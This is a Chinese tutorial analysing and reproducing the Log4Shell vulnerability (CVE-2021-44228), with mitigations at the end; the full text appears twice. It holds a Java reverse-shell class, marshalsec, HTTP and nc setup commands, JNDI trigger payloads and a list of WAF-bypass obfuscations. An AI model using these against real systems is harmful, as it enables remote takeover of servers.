log4j2(CVE-2021-44228)漏洞复现与分析
字数 3391 2025-10-13 22:56:21

Apache Log42 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南

一、漏洞背景与核心定位

  1. Log4j2 是什么?

    • 全称:Apache Log4j 2。
    • 性质:由 Apache 软件基金会开发的一款开源、高性能的 Java 日志记录框架。
    • 目的:用于规范、便捷地记录应用程序运行时的关键信息(如用户操作、系统错误、性能指标、异常堆栈等),帮助开发、运维和安全人员进行问题排查、系统监控和安全追溯。
    • 生态地位:与 Logback、SLF4J 共同构成 Java 日志生态的核心,因其卓越的性能和丰富的功能,成为众多企业级应用的首选。
  2. 漏洞概况

    • 漏洞编号:CVE-2021-44228
    • 漏洞别名:Log4Shell
    • 危害等级:严重(Critical)
    • 漏洞本质:由于 Log4j2 提供的** lookup 功能缺乏必要的安全控制,导致在日志记录过程中,如果用户输入被直接记录,则可触发 JNDI 注入**,最终造成远程代码执行(RCE)

二、漏洞核心机制深度剖析

漏洞的触发依赖于三个关键技术的串联:Log4j2的Lookup机制JNDI的动态加载特性以及攻击者的恶意资源

  1. JNDI (Java Naming and Directory Interface) 的特性

    • 定义:JNDI 是 Java 提供的标准 API,允许应用程序通过名称来访问和查找各种命名和目录服务(如 LDAP, RMI, DNS等)。
    • 核心风险点:JNDI 支持命名引用(Naming Reference)。当客户端查询一个命名服务时,服务端可以返回一个指向远程 Java 对象的引用(例如,一个远程 class 文件的 URL)。
    • 动态加载:Java 虚拟机在接收到这样的引用后,会自动从指定的远程地址下载并实例化该类,同时执行该类中的静态代码块或构造函数。这正是漏洞被利用的根源。
  2. Log4j2 的 Lookup 机制

    • 功能:Log4j2 提供了一种强大的动态变量替换功能,允许在日志配置或日志消息中通过 ${prefix:key} 的语法插入动态值。
    • 示例
      • ${java:version} 可以获取 Java 版本信息。
      • ${env:USER} 可以获取系统环境变量 USER 的值。
    • 致命Lookup${jndi:ldap://attacker.com/evil}。当 Log4j2 解析到这条语句时,它会尝试通过 JNDI 接口去查询 attacker.com 提供的 LDAP 服务。
  3. 漏洞触发链条(串联)

    1. 攻击输入:攻击者将包含 JNDI Lookup 的恶意字符串(如 ${jndi:ldap://evil.com/Exploit})提交给应用程序(例如,通过 User-Agent、搜索框、表单等任何可能被日志记录的用户输入点)。
    2. 日志记录:应用程序在不知情的情况下,使用 Log4j2 记录了该恶意字符串。
    3. 表达式解析:Log4j2 在记录日志时,默认会递归解析字符串中的 Lookup 表达式。识别到 ${jndi:...} 后,触发 JNDI 查询。
    4. 远程资源加载:应用程序向攻击者控制的恶意 LDAP/RMI 服务器(evil.com)发起请求。
    5. 恶意代码执行:恶意服务器返回一个指向攻击者托管在 HTTP 服务器上的恶意 Java 类(Exploit.class)的引用。受害应用程序的 JVM 下载并实例化该类,导致其中嵌入的恶意代码(如反弹 Shell 的命令)被执行。
  4. 受影响版本

    • Apache Log4j 2.x 系列,版本 <= 2.14.1

三、漏洞复现实践

环境准备

  1. 存在漏洞的应用:一个使用了受影响版本 Log4j2 的 Java 应用(文中以 Apache Solr 为例)。
  2. 攻击者机器:需要运行三个服务:
    • 恶意 LDAP/RMI 服务:用于响应受害应用的 JNDI 查询并返回恶意引用。
    • HTTP 服务:用于托管恶意 Java 类的字节码文件(.class)。
    • NC 监听:用于接收反弹回来的 Shell。

复现步骤

第一步:初步验证(DNSLog 探测)

  • 目的:在不执行代码的情况下,确认目标是否存在漏洞,并且能够对外发起网络请求。
  • 方法:使用公开的 DNSLog 平台(如 dnslog.cn)获取一个临时域名。
  • Payload:
    /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.your-subdomain.dnslog.cn}
    
  • 原理:如果目标存在漏洞,它会解析 ${sys:java.version} 并将其值作为子域名的一部分进行 DNS 查询。在 DNSLog 平台上收到查询记录,则证明漏洞存在。

第二步:实施远程代码执行(反弹 Shell)

  1. 编写恶意 Java 类(Reverse.java)

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Reverse {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                // 将命令替换为你的攻击机 IP 和端口
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.109.1/4563 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // 忽略异常
            }
        }
    }
    
  2. 编译恶意类

    javac Reverse.java
    

    生成 Reverse.class 文件。

  3. 启动 HTTP 服务(托管恶意类)
    Reverse.class 所在目录启动一个简单的 HTTP 服务器,端口为 8080。

    python -m http.server 8080
    
  4. 启动恶意 LDAP 服务
    使用工具 marshalsec 快速启动一个恶意的 LDAP 引用服务器。该服务器会监听 5555 端口,并指示请求者去 http://192.168.109.1:8080/ 下载名为 Reverse 的类。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.109.1:8080/#Reverse" 5555
    
  5. 启动 NC 监听
    在攻击机上监听 4563 端口,等待反弹 Shell 连接。

    nc -lvnp 4563
    
  6. 触发漏洞
    向目标应用发送最终的攻击 Payload。

    /solr/admin/cores?action=${jndi:ldap://192.168.109.1:5555/reverse}
    
  7. 获取 Shell
    如果一切配置正确,你将在 NC 监听端口中获得一个来自目标系统的 Shell。

四、常见 WAF(Web应用防火墙)绕过技巧

攻击者为了规避安全设备的检测,发明了多种变形 Payload。

  1. 大小写混淆

    • ${jNdI:lDaP://...}
    • ${${lower:JNDI}:${lower:LDAP}://...}
  2. 利用默认值语法 :-

    • ${${env:NOT_EXIST:-j}ndi:...} (如果环境变量NOT_EXIST不存在,则默认使用j
  3. 字符分隔

    • ${jnd${upper:ı}:ldap://...} (使用土耳其语的点less 'i')
    • ${j${-:-n}di:...}
  4. Unicode 编码

    • ${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://...}
  5. 多种技巧组合

    • ${${a:-j}ndi:${lower:L}${lower:D}a${lower:P}://...}
    • ${${lower:j}${upper:n}${lower:d}i:${lower:rmi}://...}

五、漏洞修复与防御方案

  1. 紧急缓解措施(治标)

    • 修改 Log4j2 配置:设置 JVM 启动参数 -Dlog4j2.formatMsgNoLookups=true 或修改 log4j2.component.properties 文件加入 log4j2.formatMsgNoLookups=True。此操作会全局禁止 Lookup 功能,从而阻断漏洞触发。
    • WAF/流量过滤:在网络边界部署规则,拦截包含 jndi:ldap://jndi:rmi://${} 等关键字的请求。
    • 网络访问控制:严格执行最小权限原则,通过防火墙策略禁止业务服务器主动外连互联网,从根本上切断下载恶意类的路径。
  2. 根本解决方案(治本)

    • 升级 Log4j2 版本:这是最推荐、最彻底的解决方案。立即将 Log4j2 组件升级到** 2.15.0 或更高版本**。新版本默认禁用了 JNDI Lookup 功能并做了其他安全增强。

总结
CVE-2021-44228 是一个典型的“供应链漏洞”,因其利用简单、危害极大而震惊全球。理解其原理(JNDI注入+动态类加载)、掌握复现方法(恶意LDAP+HTTP服务)、知晓绕过手段(各种字符串变形)以及采取正确的防御措施(升级/禁Lookup/网络隔离),对于安全研究人员和运维人员都至关重要。

希望这份详尽的文档能对您有所帮助!

Apache Log42 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南 一、漏洞背景与核心定位 Log4j2 是什么? 全称 :Apache Log4j 2。 性质 :由 Apache 软件基金会开发的一款开源、高性能的 Java 日志记录框架。 目的 :用于规范、便捷地记录应用程序运行时的关键信息(如用户操作、系统错误、性能指标、异常堆栈等),帮助开发、运维和安全人员进行问题排查、系统监控和安全追溯。 生态地位 :与 Logback、SLF4J 共同构成 Java 日志生态的核心,因其卓越的性能和丰富的功能,成为众多企业级应用的首选。 漏洞概况 漏洞编号 :CVE-2021-44228 漏洞别名 :Log4Shell 危害等级 :严重(Critical) 漏洞本质 :由于 Log4j2 提供的** lookup 功能 缺乏必要的安全控制,导致在日志记录过程中,如果用户输入被直接记录,则可触发 JNDI 注入** ,最终造成 远程代码执行(RCE) 。 二、漏洞核心机制深度剖析 漏洞的触发依赖于三个关键技术的串联: Log4j2的Lookup机制 、 JNDI的动态加载特性 以及 攻击者的恶意资源 。 JNDI (Java Naming and Directory Interface) 的特性 定义 :JNDI 是 Java 提供的标准 API,允许应用程序通过名称来访问和查找各种命名和目录服务(如 LDAP, RMI, DNS等)。 核心风险点 :JNDI 支持 命名引用(Naming Reference) 。当客户端查询一个命名服务时,服务端可以返回一个指向远程 Java 对象的引用(例如,一个远程 class 文件的 URL)。 动态加载 :Java 虚拟机在接收到这样的引用后,会 自动从指定的远程地址下载并实例化该类 ,同时执行该类中的静态代码块或构造函数。这正是漏洞被利用的根源。 Log4j2 的 Lookup 机制 功能 :Log4j2 提供了一种强大的动态变量替换功能,允许在日志配置或日志消息中通过 ${prefix:key} 的语法插入动态值。 示例 : ${java:version} 可以获取 Java 版本信息。 ${env:USER} 可以获取系统环境变量 USER 的值。 致命Lookup : ${jndi:ldap://attacker.com/evil} 。当 Log4j2 解析到这条语句时,它会尝试通过 JNDI 接口去查询 attacker.com 提供的 LDAP 服务。 漏洞触发链条(串联) 攻击输入 :攻击者将包含 JNDI Lookup 的恶意字符串(如 ${jndi:ldap://evil.com/Exploit} )提交给应用程序(例如,通过 User-Agent、搜索框、表单等任何可能被日志记录的用户输入点)。 日志记录 :应用程序在不知情的情况下,使用 Log4j2 记录了该恶意字符串。 表达式解析 :Log4j2 在记录日志时,默认会递归解析字符串中的 Lookup 表达式。识别到 ${jndi:...} 后,触发 JNDI 查询。 远程资源加载 :应用程序向攻击者控制的恶意 LDAP/RMI 服务器( evil.com )发起请求。 恶意代码执行 :恶意服务器返回一个指向攻击者托管在 HTTP 服务器上的恶意 Java 类( Exploit.class )的引用。受害应用程序的 JVM 下载并实例化该类,导致其中嵌入的恶意代码(如反弹 Shell 的命令)被执行。 受影响版本 Apache Log4j 2.x 系列,版本 <= 2.14.1 。 三、漏洞复现实践 环境准备 存在漏洞的应用 :一个使用了受影响版本 Log4j2 的 Java 应用(文中以 Apache Solr 为例)。 攻击者机器 :需要运行三个服务: 恶意 LDAP/RMI 服务 :用于响应受害应用的 JNDI 查询并返回恶意引用。 HTTP 服务 :用于托管恶意 Java 类的字节码文件(.class)。 NC 监听 :用于接收反弹回来的 Shell。 复现步骤 第一步:初步验证(DNSLog 探测) 目的 :在不执行代码的情况下,确认目标是否存在漏洞,并且能够对外发起网络请求。 方法 :使用公开的 DNSLog 平台(如 dnslog.cn)获取一个临时域名。 Payload : 原理 :如果目标存在漏洞,它会解析 ${sys:java.version} 并将其值作为子域名的一部分进行 DNS 查询。在 DNSLog 平台上收到查询记录,则证明漏洞存在。 第二步:实施远程代码执行(反弹 Shell) 编写恶意 Java 类(Reverse.java) 编译恶意类 生成 Reverse.class 文件。 启动 HTTP 服务(托管恶意类) 在 Reverse.class 所在目录启动一个简单的 HTTP 服务器,端口为 8080。 启动恶意 LDAP 服务 使用工具 marshalsec 快速启动一个恶意的 LDAP 引用服务器。该服务器会监听 5555 端口,并指示请求者去 http://192.168.109.1:8080/ 下载名为 Reverse 的类。 启动 NC 监听 在攻击机上监听 4563 端口,等待反弹 Shell 连接。 触发漏洞 向目标应用发送最终的攻击 Payload。 获取 Shell 如果一切配置正确,你将在 NC 监听端口中获得一个来自目标系统的 Shell。 四、常见 WAF(Web应用防火墙)绕过技巧 攻击者为了规避安全设备的检测,发明了多种变形 Payload。 大小写混淆 ${jNdI:lDaP://...} ${${lower:JNDI}:${lower:LDAP}://...} 利用默认值语法 :- ${${env:NOT_EXIST:-j}ndi:...} (如果环境变量 NOT_EXIST 不存在,则默认使用 j ) 字符分隔 ${jnd${upper:ı}:ldap://...} (使用土耳其语的点less 'i') ${j${-:-n}di:...} Unicode 编码 ${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://...} 多种技巧组合 ${${a:-j}ndi:${lower:L}${lower:D}a${lower:P}://...} ${${lower:j}${upper:n}${lower:d}i:${lower:rmi}://...} 五、漏洞修复与防御方案 紧急缓解措施(治标) 修改 Log4j2 配置 :设置 JVM 启动参数 -Dlog4j2.formatMsgNoLookups=true 或修改 log4j2.component.properties 文件加入 log4j2.formatMsgNoLookups=True 。此操作会 全局禁止 Lookup 功能 ,从而阻断漏洞触发。 WAF/流量过滤 :在网络边界部署规则,拦截包含 jndi:ldap:// 、 jndi:rmi:// 、 ${ 、 } 等关键字的请求。 网络访问控制 :严格执行最小权限原则,通过防火墙策略 禁止业务服务器主动外连互联网 ,从根本上切断下载恶意类的路径。 根本解决方案(治本) 升级 Log4j2 版本 :这是最推荐、最彻底的解决方案。立即将 Log4j2 组件升级到** 2.15.0 或更高版本** 。新版本默认禁用了 JNDI Lookup 功能并做了其他安全增强。 总结 : CVE-2021-44228 是一个典型的“供应链漏洞”,因其利用简单、危害极大而震惊全球。理解其原理(JNDI注入+动态类加载)、掌握复现方法(恶意LDAP+HTTP服务)、知晓绕过手段(各种字符串变形)以及采取正确的防御措施(升级/禁Lookup/网络隔离),对于安全研究人员和运维人员都至关重要。 希望这份详尽的文档能对您有所帮助!